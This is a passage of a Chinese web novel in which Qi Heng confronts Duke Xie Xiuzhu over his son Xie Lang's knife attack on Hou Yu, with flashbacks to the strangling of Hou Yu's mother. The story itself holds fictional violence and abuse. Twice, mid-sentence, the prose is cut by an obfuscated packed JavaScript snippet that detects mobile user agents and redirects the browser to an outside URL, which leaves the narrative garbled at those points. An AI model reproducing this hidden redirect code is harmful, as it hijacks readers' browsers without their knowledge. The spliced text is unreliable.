戚姮不听他狡辩,伸出胳膊溜进枕间空隙,搂上去就是一记深吻。 起伏的胸膛紧贴一处,戚姮好似一条蛇,慢慢缠上后煜的全身,等他意识回笼时,已经动弹不得了。 戚姮今晚消息得的多,收获颇丰,心情不错:“今天也算是洞房花烛夜了。” 后煜抓皱了床单,眼珠子滴溜转:“你是特地来接我的吗。” “我是来找你算账的。”旖旎的温存未散,戚姮便话锋一转:“解羽是谁。” 后煜:“……” 明明都已经默认了不提这茬,后煜迎上戚姮的目光,尴尬地打着哈哈:“这个,或许,其实。这个名我也没用多久,我不太习惯,就没说……” 戚姮压着眉,神色有些阴沉。后煜瞟着好几眼,怎么看都像生气的样,越说声音越小,直到没音了。 他懊恼地捂住脸,想直接装死算了。 戚姮却问:“谁给你起的名?” “……我哥。” “我就知道是他。”戚姮嗤道,“这都没人管?” 后煜微怔,追问道:“你知道什么意思?” “我又不是没读过书。”戚姮说,“原以为是解修竹取的,想他一个文人怎么能犯这种错误。直到见了你哥,一定是他没跑了。” 后煜眼睫忽闪两下:“一个名而已。是好是坏,总归如了我爹的愿,改姓了解。他也就不管了。” 戚姮:“没有灵灵好听。” “这是我老师,在我很小的时候给准备的字。”后煜认可戚姮这句话,“他也是这么说的,他说灵翎听起来很可爱。后来我就直接用了。” 戚姮拉过枕头,挨近了些,顺道挪动底下压着的东西:“在开封府门口想跟着我回侯府,就是猜到你哥会去吧,怎么不直接说。” 后煜扭捏了一下:“直接说……你也未必会信这种借口,显得我有些上赶着。” 戚姮哭笑不得,不说也很像上赶着,有区别吗:“你想的也忒多了。” 后煜不吭声。 总共不认识几个人,还都说他想得过多,绕的太深,敏感的要死。 “你还真是个多舛的命,一会没看住就能被伤成这样。”戚姮脑袋一歪躺了回去:“行了,有事明天再说。” “……” 等到药效发作,疼痛麻木,后煜撑着起身,趴在床头看着戚姮熟睡。 右手慢慢伸向她的枕头底下,异常小心,生怕惊醒戚姮,指尖碰到了冰凉的刀柄。 果真没看错,她就是放了把刀。 帷帐拉下,不透光亮。这种漆黑密闭的环境反而让后煜滋生几分安心。 他歪头拔下簪子,束起的发散下,发冠落在枕边,藏在其中的药包被他抠了出来。 小小一个,四四方方。 后煜摩挲半晌,又装了回去。 或许如她所言,侯府真的是个好选择。 或许过去的真的能过去。 后煜屏住呼吸,凑近戚姮的颊边,轻轻落了一个吻。 极速升高的体温涨上脑袋,后煜迅速翻了个身,背对着戚姮,狂跳的心脏砰砰作响,手忙脚乱捞起被子盖住大半张脸。 从第一次决心隐瞒她行径的开始,再想单纯的做好卧底,就有点难了。 26. 翻身上位【六】 解修竹也才刚下早朝。 开封府衙将昨晚值守狱卒全部离奇晕厥之事上报给了朝廷,连带着戚姮“越狱”不见,话说一半被赵繁英直接打断。称此案另有隐情,当日证人已提供完整供词证据,戚姮无罪。 他已经下旨放了戚姮回家,眼下正告假稍作休整。 御史台要求赵繁英公布所有案件细节,皇帝拿出按了手印的字据,物证,遥遥让底下百官瞧了一眼,并未直接递下去。 李在溪连具体内容都没看见当然不干,却被赵繁英直接驳了回去,此案定性:元凶另有其人。 没有人敢说逃跑的嫌犯百分百就是楼兰公主本人,逃跑既可以说是心虚,也可以说是仓皇害怕,真真假假,无非从什么方向解读。 戚姮的罪名再度大幅减轻,本就不至于到“通敌叛国”的程度。 只需停职查办的过错,殿前失仪才被送了进去,把放她出来也没有任何问题。 疑点增多,必然不可能随便揭过。为安抚心存不满的百官,赵繁英承诺,这案子依旧交给戚姮解决。 若她三月之内不能将犯人缉拿归案,查明真相,便离开枢密院,降职处理。 至于为什么开封府的人会离奇晕倒,赵繁英闭口不谈。 · 解修竹刚下了马车,就敏锐觉到一丝丝怪异。 守在门口的家丁跑哪去了。 紧闭的大门隐隐约约透来声响,解修竹竖起耳朵凑近了细听,争执声居然这般大。 他的第一反应是解烺鬼混一晚上没回家,定是在被夫人训斥。 想到这解修竹也有些来气,国公府的宵禁定的亥时四刻,但凡晚一刻回去都要挨家法。从他出生时就雷打不动的遵守,到了自己儿子身上,居然他给当耳旁风放跑了。 心中都想好如何教训这小子了,解修竹迈向正门,下一瞬就听见—— “国公爷!国公爷!” 两声叫喊喊停了解修竹的脚步,觅着声源方向去看,就见一个小厮慌慌张张地从侧门跑来,扑在他的脚边。 “不好了!”这小厮长得面熟,解修竹认真一看,正是一直跟在解烺身边的那个,正急的脸色通红,手足无措:“隔壁侯府家的世子,她……她来闹了!” “……”解修竹宕机了一瞬,匪夷所思地:“谁?” “侯府!定远侯府!” 小厮指向巷口对面的府宅,戚砚也刚从宫中下朝回府,骑着马晃晃悠悠到了家门口。听见热闹一个劲伸长了脖子往那边瞧,恰好和一脸蒙圈的解修竹四目相对。 戚砚露出了个非常之纯良的微笑,迅速下马跑回家。 看见戚砚那没憋好屁的样解修竹终于意识到了事情不简单,追问:“戚姮?是不是戚姮?闹什么了?她怎么来了!” 侍从皱着表情,哭丧着脸:“是带着六公子来的。” “小六?”解修竹突然想起来是没在早朝看见后煜,心下一惊:“小六招惹她了?” “不是!是……您快来看吧。”小厮也不管什么三七二十一,拉着解修竹的胳膊迅速往偏门去。 解修竹:“好端端的大门为何不走?” 侍从:“被那位世子从里头反锁了!谁敢开锁就打谁。” 解修竹:“……” 正院被家丁里三层外三层的围住,手持长棍冲着正中央,成了个圈,解修竹喊着“让开”“起开”,双手扒拉开这层层围堵,终于来到了最前头。 “呦。”戚姮最先扫到他,“国公爷回来了。” 这句话落,四周皆顺着她的目光而去。 解修竹瞧着这院中对立而站的两伙,动作缓慢地,一步,一步往前走。 消失一夜的解烺蓬头垢面,被他的夫人梅氏扶着,勉强能够站立,唇边衣角都还有残留着干涸血迹。 眼珠转向夫人刘氏,她挡在儿子儿媳之前,望来的目光满是惊恐。 阳光下支着枪懒洋洋倚靠着的戚姮眯了眯眼,还朝解修竹笑笑,最终,解修竹把目光钉死在她旁边的后煜脸上。 解烺就像找到了撑腰的靠山,立刻从娘子怀中窜到解修竹面前,捂着痛彻肺腑的胸口,眼眶一热:“父亲!你终于回来了。” 解修竹扶着解烺的肩膀,何时见秦小公爷这么狼狈过。 “官人!你回来了,官人!” 刘氏被儿媳搀着,也来到了解修竹跟前,紧绷的神经瞬间卸下,泪如决堤般。他紧皱着眉,问道:“这是……发生什么了?” 刘氏向后瞥了一眼戚姮,她还站在原地装无辜,哆哆嗦嗦道:“天刚亮时,我、我派人继续去寻灵韵。哪知,素来井水不犯河水的侯府,突然带着小六来了府上,还是捆着灵韵一起来的。把家门落了锁,不准人出去……” 话听到一半,解修竹抑制不住的火气就已经烧到了脑门,怒喝一声:“戚姮!!” 声喊的震天响,恐怕隔壁的侯府真有人能听见了。 一般人都还顾忌些戚姮的脾气,解修竹丝毫不管,“蹭”一下就窜到了她面前:“你来我家闹什么!这都是什么?你对我儿子做什么了?!” 戚姮还是笑:“你不该先问问我为什么闹吗。” “我怎么知道?”解修竹气的不轻,“前几日你出事,我没下场搅和过哪怕一句!不说有恩,起码你我无仇吧!我哪得罪你了值得你今日这么兴师动众?!!” 他又面向后煜:“你又来捣什么乱?怎么每回家里出事都有你,生怕家里过得太舒坦了是吧!!” “……” 后煜漠然地瞥过去,迅速收回视线,翻了个白眼。 “停,停。”戚姮伸手截住解修竹的怒气,挡住了他想继续骂后煜的话头,“我又不是无理取闹的人,肯定是有原因才来的。” “既然你不知道我为何而来,就说他来捣乱是作甚啊。听我讲……” “你把我家都搞成什么样子了?”解修竹向周围转了一圈,怒不可遏:“你能有什么正经事要这般大动干戈?!你这种三天两头不闹事就难受的人能有什么正经事!你才刚出狱又想……” “我不是说了要你听我讲吗!” 戚姮平生最烦在讲道理的时候碰见不讲理的,反手把长枪往解修竹脚边狠狠一掷,刀尖插进地里,抖了两下立住:“就你嗓门大,就你会说话,最基本让我把话讲完行不行?” 非要逼着动手才能解决。 身侧后煜精神一震,那边解烺和夫人的惊吓声传来,解修竹也吓得后退两步,又惊又怒。 戚姮的模样本就攻击性极强,冷下脸来更是夹带着几分杀气,真正上过战场杀过人的气质完全与他们这种文质彬彬的书生不同。几句话打断了解修竹所有脾气,他也不敢再继续发作。 意识到戚姮是在动真格的生气,解修竹表情一皱,有了些许重视。 戚姮眼见场子被镇住了之后才满意,平和下来,道:“你儿子在天子脚下,皇帝眼前,谋杀朝廷命官。你知道吗?” “……你说什么?” 解修竹的眼眶越睁越大,眼瞳发颤,表情出现几丝裂痕,好半晌才说出第二句:“谋杀?” 戚姮拔出那杆枪,握在手中,撑在地面,站没站相:“我关上门打狗,就是为了护你国公府一个体面,不让今天的事传出去,被人看了笑话。你别给脸不要脸。” “……老二怎么可能会谋杀你。”解修竹难以置信,“他没这个胆子……谁会想不开去谋杀你?” “他谋杀的要是我,现在就凉了。”戚姮拉过后煜,拆掉他早晨刚换的绷带,“受害者在这呢。” 解修竹第二次把视线放在后煜脸上。 后煜其实长得很像他母亲。狐狸眼,窄脸高鼻,唇红齿白,是秀气俊丽那挂的。但他母亲爱笑,后煜时常笼罩着一层阴郁,颊边还多长了两颗竖列的小痣。 以至于每次解修竹看到他都想躲。 后煜其母名后秋,起的也简单,开封府尹家的老夫人身边总共四位一等女使,春夏秋冬,她便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531475|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三位。 她自小在后家伺候,是老太太膝下长起来的,父母都是府内忠仆。若没有在十七岁那年摊上解修竹,老太太还想为她置办嫁妆,指个好婚,风风光光嫁给家境殷实之人做妻。 解修竹与那府尹在官场相熟,约着去家中吃过几盏茶,一来二去,他便遇见了后秋。 对奴来说,长得漂亮并非好事,漂亮到可以用妩媚形容更是。 后秋来茶间换盏,解修竹就一直盯着她的眼睛,临她离开前突然问了名讳,后秋笑着答了。 后延同为男人,看穿了解修竹的意思。那时他还没做到府尹这个位置,搭秦国公这条线的机会却摆在了眼前,他脑子一转,当即就问需不需要备间房。 解修竹没拒绝也没同意,只说到别处去,转移话题。府尹猜不透他的意思,还是赌了一把。 像这种家生子,要么被府内公子看上,成个良妾。要么陪嫁出去,在小姐有孕时作通房,以巩固地位。 老太太疼她,才想着嫁出去,但府尹不管那些,喊了后秋来,讲了一通威逼利诱,就把她关进了厢房。又带着解修竹往那边去,暗示过后识趣离开,决定权就握在他手中了。 解修竹与夫人刘氏成亲时年纪不大,青梅竹马,说着此生不会纳妾,却在遇见后秋时,破了誓言。 他挣扎了一下,可一想到后秋那抹笑,挣扎也没了。 或许是出于对妻子的愧疚,他就只同后秋好了那一次,便再也不敢想起这茬,连后府都再也不去了。 躲着躲着,突然收到了府尹的消息,说后秋有孕了,问他要不要这个孩子,收不收这个人。 解修竹一下子傻眼了。 他从没想过真的纳了后秋,文艺点讲,只当是露水情缘。 但怀了孩子,自己的种,不认就会堕掉,没有别的可能。 解修竹只有一个儿子,夫人伤了身子,再不可能继续生了。潜意识里,他还是害怕长子出现什么意外,再绝了后,自然还想要。 后秋就这么被送出后府,送到解修竹为她置办的宅子中养胎,不给名分,也不来探望。只叫人送些补品银钱,还瞒着家中不让知道。 解修竹今后五年都在躲她,明明是一见钟情,明明她为国公府添了他想要的男丁,解修竹就是没再来过一次。 直到解修竹在某天神经搭错线,跑去了后秋所住的青衣巷,想去瞧瞧她们母子。率先发现的是后秋在外的奸生子,三岁大了,生父是她原本要许配的那家情郎。 后煜回家以后见母亲和妹妹全都不知所踪,家中又极其凌乱不堪,仿佛有人闯入大打出手过一般,便知肯定是出了事。 他顺着地上墙上留下的挣扎痕迹跟到了外面,跑出巷子,跑到城郊,却连抹影子都没见到。 当晚后煜就被几个侍从连拖带拽地送去了秦国公府,第一次见到了生身父亲。 解修竹要他以后在国公府生活,五岁的后煜不知全貌,以为只是单纯父亲找到了儿子的故事,还想让解修竹帮他再找找后秋,却被含糊其辞糊弄了事。 底下人将他送去了一间还不错的屋子,后煜还没有把房间陈设打量完,解烺就站在了窗户边。 他翻进来,二话不说抄起板凳就砸了过去,趁手的,能被他搬动的,全往后煜身上招呼。年龄与体型悬殊实在太大,后煜又从没打过架,被摁着拳打脚踢根本毫无还手之力。 瓷器碎裂划伤了后煜的脖子,血流不止,解烺颇有要直接置他于死地的意思,根本不停手。 还是后煜抓起瓷片扎向解烺的小腹,趁着他疼痛的间隙夺门而出,误打误撞跑进了解家宗祠。 他觉得那屋子大,藏起来肯定没人找得到,四处寻着可以藏身的地方,迎面撞上了躺在木棺中,毫无生气的后秋。 后秋死了。 灰败的面颊发着暗青,并不安详的面容昭示了她生前遭受过一定的苦楚,颈间的勒痕聚着大片黑斑。 后煜后来才想明白,她是被解修竹徒手勒死的。 27. 翻身上位【七】 “你自己瞧吧。” 戚姮的话将解修竹拉回了现实,他顺着看去,着实吓了一跳。 即便被药膏粉末糊住,依稀能看出伤口的血肉横飞,惨不忍睹。穿过的黑色针线交错,周围泛着紫黑色。这伤贯穿掌心,前后都可见,擦干净血污是能见到骨头筋络的。 解修竹只看了一眼,便因受不了血腥呼吸急促,偏过视线。只余眸底一片震惊。 “昨日我从宫中出来,见到有人持刀行凶,跟恶鬼似的。路见不平,自然要行侠仗义。救下一问,法理之下,谁能这样无法无天?你猜怎么着,原来是亲哥哥想杀亲弟弟。” 戚姮垂着眼睫,动作轻柔地为他缠了回去:“是解烺,想杀解羽啊。” “不是的!” 解烺眼见真相败露,急切地跑了过来,跪在解修竹面前:“不是这样的!父亲……是前几日解羽伤我在先,我昨日才去找他争吵了几句。哪知他突然拿出刀来,还要继续伤我!一时情急之下我才还了手!” “不曾想居然被世子给看见了,她认定是我要谋杀,不分青红皂白先将儿子打晕,关在她家柴房!今日又来这般泼我脏水!” “我的伤势丝毫不比解羽轻。父亲,您千万别听他们二人乱说……” 解烺攥着解修竹的衣角,哭得稀里哗啦:“您最知道我的秉性了。往日小六就不是什么老实本分的,冥顽不灵,惹是生非,这您都是知道的啊?我怎么会做这种事?” 戚姮视他为空气,绑好后扭头问后煜:“疼吗。” 后煜摇头,扯了扯嘴角:“吃药了,不疼。” 戚姮听得烦,问:“往日里,解烺就这般会演?” “我们发生争执,一定是我先动的手。”后煜轻声应,“其实我爹也知道真相。只是解烺的娘与他年少夫妻,青梅竹马,情深意重,他不愿意责备这个唯一的儿子。” “可你也是他的儿子。” “子凭母贵。”后煜说,“没有情分在,什么都不是。” 解修竹还未从看见那伤口的惊心动魄缓过来。那么严重的创口,但凡扎的不是掌心是胸膛,此刻后煜已经没了。 “伤口你也看到了,解烺行刺的经过我看到了,他为什么这么做……你应该也清楚。不用我太多证明了吧?” 戚姮环着胳膊,不耐烦地:“他要不是你儿子早被我一脚踹死了,看在你的面子上也没送去官府。我已经很仁至义尽了。” “多的我也不想说,没意思,你又不可能真让他偿命。我这只有两个要求,聊完就走,也能当这事算了。你要觉得不成,我们就走正经司法流程,报官请官家。” 她向来嘴皮子利索,逻辑更是无懈可击。一旦有了思量谁也无法撼动,插不进一句嘴。 解修竹多次想驳回去她的话,又实在没找到合适的立场。 戚姮哼笑:“你家这个,在户部就职吧?年纪轻轻,真捅到官家面前让他定罪,这辈子还咋办啊。” “当然,我是很乐意的。借着这机会,我哭一哭,说不定官家还给我们家解羽迁去户部,顶替他哥那位置。反正都是算账的,你们姓解的谁去不行?” 我们家,解羽。 后煜闻言,缓缓将脸转向戚姮,清早的晨光透亮,映在她的金发上生辉夺目,看得他发怔。 戚姮无论去哪都是这样,张扬,耀眼,尽在把握。三两句就能稳住朝局,掌控大局,牵着人往预定方向走。 我们家。 后煜旁若无人地念叨起了这三个字。 解修竹闭上眼,耳边萦绕的哭声聒噪,烦不胜烦,他奋力一脚踹向跪在身前的解烺,怒喝:“够了!你这孽畜真当我什么都不知道?事到如今了还在狡辩推卸!” “啊!官人……官人。”刘氏连忙跑去,扶起解烺护在怀里,惧怕地看向解修竹,“二郎做错什么了?他身上还有伤……” “你还好意思问?!你惯的好儿子平日里作威作福也就罢了,我就当他是不高兴,想发泄,气撒出来就好了。” 解修竹扶着额角:“现在让外人,带着,找到了家里!动刀子了,要杀人了!” 她低头看着解烺,责任被一股脑全推到自己头上,她一时之间不知所措:“是不是有什么误会,这怎么可能……” 后煜面颊上刚染上的一丝颜色随着解修竹那句话荡然无存:“我只是……用来撒气的……?” 一个众所周知的真相被残忍揭开,即便有所准备,即便清晰的意识到了数年。真当面对的那一刻,还是宛如当头一棒,砸中了他最脆弱的心口。 后煜指着自己,哽住的喉口说不出半个字,嘴唇嗫嚅着,先流出来的是眼泪:“他不高兴就可以打我,只是……他不高兴。” 解修竹怒到一半的情绪戛然而止,意识到自己说了什么之后诡异地静默下来,逃避着视线,不动声色缩了几步。 解烺仇恨的双眼剜来,双目赤红,挣扎着从刘氏怀中起身,骂道:“你还当你是什么金尊玉贵的人物了?打不得碰不得?” “一个从野娘肚子里爬出来的杂种,连我房里跪着服侍的婢子都比你的来路正,打你两下会死啊?你还敢带着外人上门闹,指着让全东京城都看笑话?!” “哭哭哭,每次你就只会哭,除了哭你还能干什么,我看见你这窝囊样就恶心!” “我就砍你了怎么着?没有戚姮你这废物也就当没发生这事了,借了她的势回来,还真当自己有什么能耐,在这质问起父亲来了?” 解烺的手都快要后煜脑门前:“有本事你捅我一刀,你敢吗?给你机会你都不敢!” “哗”一声,解烺神情一滞,随即猛地看向戚姮。 刀刃反着寒光,正在她手中把玩,细细看去,还是昨晚上伤了后煜的那把。 “戚姮!”解修竹沉默了这么久,终于慌张地开了口,他知道戚姮不管那么多,是真敢捅,“有话好好说。” “他自己说的。”戚姮淡漠道,“一报还一报,没想到解二公子这么通情达理。” 匕首塞进后煜完好的那只手里,戚姮搭着他的肩,声音不大不小,恰好所有人都能听见:“捅。出事我给你担着。” 解修竹急了:“戚姮!你教唆……住手!!” 后煜不是不敢捅,只是承受不起放肆一次的代价。 什么面子细作身份任务都不顾了也要倒贴进侯府,为的就是戚姮那句“她担着”。 “你试试我敢不敢砍!” 院中惊叫连连,后煜不管不顾地挥动手中匕首,刀刀致命地刺向解烺,他见到这场面直接傻眼,再也硬气不起来了,掉头就跑。 刘氏想拦,可面对刀子时迈不动一步上前。 后煜追着解烺不放,在场的人都怕乱挥的刀子落到自己身上,追击的那叫一个畅通无阻。 解烺身上有伤跑不过他,堪堪躲过去直逼喉管的两刀,肩上和前胸都挨了几下,溅出了血花,疼得他惨叫好几声。 戚姮“嚯”了一声,目瞪口呆地看着这场追逐战。 她说着“谁敢靠近我杀了谁”,抬起枪挡在周围,震慑住了想要靠近的家丁。 眼见跑不过,解烺便开始躲,箍住梅氏的手臂躲在她身后,不管她吓得叫喊。后煜跟他转了几个圈圈,这无耻的家伙死活就是不出来。 解修竹只会喊住手,更是躲得老远。 “你给我闭嘴!” 后煜突然顿住脚步,拿刀对着解修竹:“我第二想杀的就是你这个老东西!别以为我不知道是你杀了我娘,霍霍她不够还想害我,给你儿子撒气。” “她不就是生了个孩子吗有什么不行的?你凭什么杀她?你自己少生了?生这么多败类出来,居然还能让你活这么久,我今天也杀了你!” 解修竹不知火是怎么烧到自己头上的,都不等他的脑子反应,后煜已经控诉着冲上来了。 就听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531476|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声尖叫,解烺的正妻梅氏突然挡在了后煜的面前,他瞳孔一缩,奋力一把扔了收不住的刀。身体随着惯性撞了上去,两个人都摔在了地上。 戚姮眼睁睁看着解烺推着他媳妇去给他爹挡刀,下巴都快掉下来了。 都不知该夸一句孝顺,还是该骂一句畜生。 戚姮扶起了地上的后煜,扫了一眼,掌心的伤口没有渗血。又将泪流满面的梅氏搀了起来,她攥住戚姮的胳膊,握得很紧,身体止不住地哆嗦。 闹剧终于结束,解烺瘫在地上,刘氏傻在原地,而解修竹更是惊魂未定的,似是被打击杀了。 “你是个东西吗?”戚姮今个算是知道了解烺这人没有下限,“这是你的妻,你拿她挡刀,还推她给你爹挡刀?” 解烺只敢骂后煜,还是在这之前的后煜,面对戚姮就只字不敢吭了,只当听不见。 “抱歉。”后煜缓和下来后道歉,“伤着你了。” “没……没事。”梅氏嘴上说着没事,身体却向后缩,用戚姮去隔开他。 被刚刚解烺那么一推,她既不敢回去,可留在这也不像个样子。梅氏挪动脚步,缓缓跑向了婆母。 解修竹看着乱成这样的家,又被下人围观了丑事,心力交瘁地对着戚姮开口:“你到底想怎样才肯罢休啊?!我们家被你闹的父子不是父子,兄弟不像兄弟……!” 戚姮扭头:“你自诩清流人家,却能教出解烺这般不义之辈。杀弟害妻,想让我别闹了,想息事宁人,还想在这和稀泥。” “我告诉你,就解烺这种货色我没去报官你就该谢天谢地了。反正我刚出来不怕蹲大牢,你敢跟我比?这事没完。” 解修竹连气都发作不出来了,从身累到心里,本也是他不占理,更矮了戚姮一头。 “那也是我家的家务事,你掺和什么?把事情跟我说了,让我这个当父亲的做决断不行吗?你非要闹成现在谁都难看的地步。” 戚姮:“班师回朝那日,朝堂之上,你我不欢而散,现在想让我给你留脸,你脸这么大?” 解修竹:“你这小姑娘怎么这么记仇呢,那是公事这是私事,岂能混为一谈?” “私事,就是私事啊。”戚姮揽过后煜的肩膀,摁着他的脑袋枕来自己的肩窝,“你家小六已经与我签下婚书,他现在是我家的人。在你这受了欺负,是你该给我个交代,我不是来找你主持公道的好吗。” “戚姮这人,缺陷太大,易怒暴戾,谁都敢上手打。又年轻气盛,心态幼稚,总觉得自己是救世主,说到底还是妇人之仁,总对不该心软的人也能心软。” “有你哥在,你就能把她引过去。再挨几顿揍,让她拯救你几个月。配合演完这场戏,把她从朝堂上踹回家。” “信王蠢蠢欲动这些年,不可能忍得住不娶她。等大洗牌之后,秦国公府不灭也得灭,戚姮一进东宫,侯府跟着没落,还担心她能出来?” “大仇得报,隐患全消,事成之后都能另封你个国公做做。只需要你忍一忍,装一装,又没什么门槛。” “你有什么不乐意的?” 在今天之前,他真以为秦国公府是什么高不可攀的地方,人人都顾忌着秦国公的身份,才无人敢出言制止解烺胡作非为。 原来这么简单,只要闹两下就行了。 连堂堂秦国公也无计可施。 他们当权者两句威慑就能解决的问题,居然会任由事态持续发酵,冷眼旁观着解烺的恶行,还反过来以此为筹码,要他忍着,受着,以成就……别人的大业。 后煜连自嘲的笑都扯不出来,脸埋在戚姮颈窝,眼泪殷湿了一整片衣襟。 差一点点就助纣为虐,害了唯一会为自己出头的人。 解修竹听见看见戚姮的言语动作,差点两眼一黑,整个晕过去:“你说什么?什么婚……” 戚姮拱手,礼行的并不标准:“岳丈大人。其实今日,我是来回门的。” 28. 翻身上位【八】 “我只有两个要求。” 戚姮被带到堂内说话,挥退了左右,与解修竹面对着面。 不得不说,见过大风大浪的国公爷就是不一样,搁别人看见手足相残子要弑父的场面早气得要把俩儿子全打死了,他还能静下心来好好聊聊。 早这样不就好了,还至于闹那么难看。 戚姮一手搭在桌上,伸出食指:“一,处置解烺。” “二,从今以后你不许再管解羽任何事,是任何,就当他不是你儿子。” 她收了手,点头:“就这些。” “……” 戚姮来势汹汹,不容置喙,方才就拿出了皇帝亲笔的聘书,证明了所言非虚。 饶是解修竹多么震惊,多么抗拒,这段姻缘有了天子介入,已经不是他所能阻拦的了。 戚家人护短是出了名的,戚砚年少时蠢事做了一堆,没人敢在他爹面前直言痴傻。 他的候夫人被柳国公夫人刁难了一下,硬从从男宾闯到女宾把场子全砸了。 而今又轮到了戚姮,大有一副不能妥善处理谁也别想好过的架势。 可后煜是如何搭上的戚姮,解修竹怎么也想不明白。 “……灵韵我会处置,就按家法,打个三十板。”解修竹缓缓道,“但是断绝关系这事,不成。” “他叫解灵运?”戚姮挂着抹笑,“你还真是偏心到极点了。” 讽刺意味太足,解修竹不自在地蹙眉,说到别的地方上去:“我堂堂秦国公府,哪有要儿子入赘,以后再也不认的道理?” “我还堂堂定远侯府呢。”戚姮慢悠悠道,“别整得好像进我家多亏一样,你不来,有的是人来。” 解修竹冷哼:“那你找别人去!” “不行。” 后煜果断出声拒绝:“你能不能别打搅我的事,这是我自己的事。若不是解烺害我在先,国公府的门我都不惜的进,还轮到你在这摆长辈架子?” “……?” 解修竹满目震撼,即便差点被亲儿子捅上一刀,他也压根没有意识到后煜本性其实意识里的完全不同。 后煜先前,温顺贤良。 这词听起来总泛着古怪,不像形容他的,可脑中过上一遍,还真就是这词。 后煜只在五岁进过国公府,待了不到两个时辰就从小门跑了,死活再也不肯回去。 解修竹知道他挨打的事,亲眼看见了解烺的伤口,两个人水火不容成这样,正好也起了不想让后煜继续留在府上的心思,直接放手不管了。 只派人去照顾他的起居,就和当年养着后秋一样,再也没去看过。 那侍从拿钱不办事,没为后煜做过一顿饭,洗过一次衣,充其量就是个摆设。 洗衣做饭,收拾家宅,修屋补漏,刨坑种地,后煜都要亲自上手。他年纪小,还没看见送来的银子影,就全被那侍从霍霍一空了。 偶尔他看见后煜实在饿的太狠,才会施舍般地买些菜回来,保证死不了人。平常家里就是揭不开锅的惨状,后煜实在太饿,还要跑去郊外挖野菜度日。 看他忍气吞声,没有告过状,那侍从只有庆幸,更加变本加厉了。带着后煜去自己家,让他收拾杂乱都是常有的事,完全的本末倒置,把小主子当免费的佣人用。 后来解修竹派了人去教他读书,幸而那教书先生是个好人,不仅教识文断字,还教了后煜一项新技能。 刺绣。 绣品能卖钱,针脚越精细银钱越多,买些布匹还能给自己缝身好衣裳。抄书也能赚钱,习上一手好字,就不怕没银子。 后煜在十岁学精,有了微薄但稳定的收入,握在手里,藏着不让知道。 西街菜新鲜,北道肉便宜,南边每月初五十五二十五的鸡蛋价格会低些……趁着没人在家的时候吃些好的,他才真正过上了人的日子。 所以当解修竹算着日子差不多了,可以送他入朝时,先看到的是一个大男人窝在家里头绣花。 他对后煜的印象始终停在那一刻。 戚姮支着下巴,道:“事已成定局,我不是来跟你商量的。现在我还能留他姓解,要是等会你惹我不高兴,我就让他冠我姓,姓戚。” “你!” 解修竹气结:“你们两个,胆大妄为的凑一对去了!弑父的弑父,闹事的闹事!” “私相授受本就不成体统,还哄骗我儿入赘,还和家里断绝关系,你你你你……” “你任由解烺污言秽语,为非作歹时怎么不说成何体统。” 戚姮轻飘飘地驳了回去:“你总觉得我与我爹行为恶劣,可轮到你儿子就睁一只眼闭一只眼了。就能视王法于旁骛了。就能让他砍伤胞弟而不用负任何责任了。” “那还有必要认你做父亲吗?扪心自问,你真的有把解羽当儿子吗?” 解修竹:“我,你,自然……” 戚姮抬手制止他的话头:“若我不闹,你会处置解烺吗?哪怕是打顿板子。” 解修竹也不“你”了,被噼里啪啦的一顿质问砸的晕头转向,脸色涨红,无法反驳。 第一次与戚姮交锋时,解修竹就深刻意识到,自己并不是这个年轻人的对手。 “对外,他名分不正。都说他位置尴尬,处境艰难,谁嫁来都是陪他被你们一大家欺负的命。百闻不如一见,真是没冤枉了你去。” 后煜安静靠在椅背,盯着鞋尖发呆。 这一家子数他生的最高,身段也好。今日戴了个新发冠,一眼望去就比曾经的精致。衣裳穿是流光锦缎,耳坠戴的是赤金嵌宝珠,一朝之间气质便判若两人。 解修竹至今都不知后煜幼时被克扣月钱,入朝后又背负了二十年债务,穿不起好衣裳。 只觉得他品味差极了,明明不差钱,甚至还有储蓄买宅子,偏喜欢粗麻棉布,磕碜至极,看一眼都头疼。 他把问题全都归咎到了后煜的出身,小娘生的,又由下人养大,能有什么出息。 就是没想过连国公府瞧不上的料子,他压根都穿不起。 有时候后煜都会庆幸,反正上朝穿公服,回家又不出门,也不会被人瞧不上。 解修竹这人很奇怪。 明明在外名声显赫,是清流之首,文官体系的领头羊。之乎者也的大道理比谁都懂,可一回到自己家就傻了。 看见后煜穿的差,没怀疑过是哪个环节出了错,反而觉得是他自己没品味。 知道解烺背地里就以打压他为乐,就因为对正妻的愧疚置之不理。 事情闹大捅到面前,等着后煜控诉告状,好有个理由惩戒一下解烺,他就是一句话不吭。 解修竹下不来台,一如当年发现后秋有了个奸生子,她也只字不肯解释般恼羞成怒,任由事态发展至今。 后煜坐在这里,被打扮好了带来,解修竹直面这个已经成人的儿子,恍然发觉他不是天生的上不得台面。 “你既不要他,又何必管他去谁家。” 戚姮言尽于此,不想再待了:“我并不为难你,但你至少要约束好解烺。我要看到你处置他的结果。” 手掌覆上后脑勺,戚姮轻拍了两下示意他起身,拥着后煜向外走,留下最后一句:“以后不要来插手我们家的事,还能好好做亲戚。” 看着两道人影消失在视野,解修竹跌坐回原位。 · 石上流舍辟出了个新的寝居。 本就是完善好没人住的空房子,打扫了一番,叫人去后煜家中把该带的都带来,再往里头添些必需的物件,碧水云庭就成了。 “女使留八个,扫扫庭院,打打杂就行。生活起居他自己习惯了,够呛让人伺候。” 